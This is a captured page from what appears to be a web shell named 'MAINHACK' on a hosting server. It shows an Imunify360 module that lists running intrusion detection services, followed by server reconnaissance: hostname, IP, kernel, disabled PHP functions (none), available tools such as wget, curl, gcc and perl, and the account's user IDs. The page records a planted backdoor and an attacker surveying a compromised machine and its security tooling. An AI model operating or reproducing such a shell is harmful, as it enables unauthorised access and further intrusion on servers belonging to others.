[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: running_ids.py
File is not writable. Editing disabled.
from defence360agent import utils from im360.contracts.config import Subsys as Config from im360.subsys import fail2ban from im360.subsys import csf from im360.subsys.panels.cpanel import cphulk class RunningIdsDecoratedList: def __init__(self, ids_list): """ :param list ids_list: """ self.ids_list = ids_list def __iter__(self): return iter(self.ids_list) # is also used as a fallback when __bool__() is not found def __len__(self): return len(self.ids_list) def __str__(self): """ Concat list so that ['csf', cphulk'] becomes 'CSF, cPHulk' str """ return ', '.join(ids for ids in Config.THIRD_PARTY_IDS if ids.lower() in self.ids_list) @utils.cache_result(Config.THIRD_PARTY_IDS_CHECK_TIMEOUT) async def RunningIds(): """ Return list of running 3rd-party IDS as RunningIds object. RunningIds is a decorator for builtins.list with custom __str__() 3rd-party IDS names will be in lowercase to make parsing the list and further automation easier. """ # Implementation was moved out because python is not OK # with using @classmethod or @staticmethod with decorator # or PeriodicCHeck while the class definition is incomplete services = [] for servicename in (s.lower() for s in Config.THIRD_PARTY_IDS): is_running = False if servicename == 'cphulk': is_running = await cphulk.is_running() elif servicename == 'fail2ban': is_running = await fail2ban.is_running() elif servicename == 'csf': is_running = await csf.is_running() if is_running: services.append(servicename) return RunningIdsDecoratedList(services)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A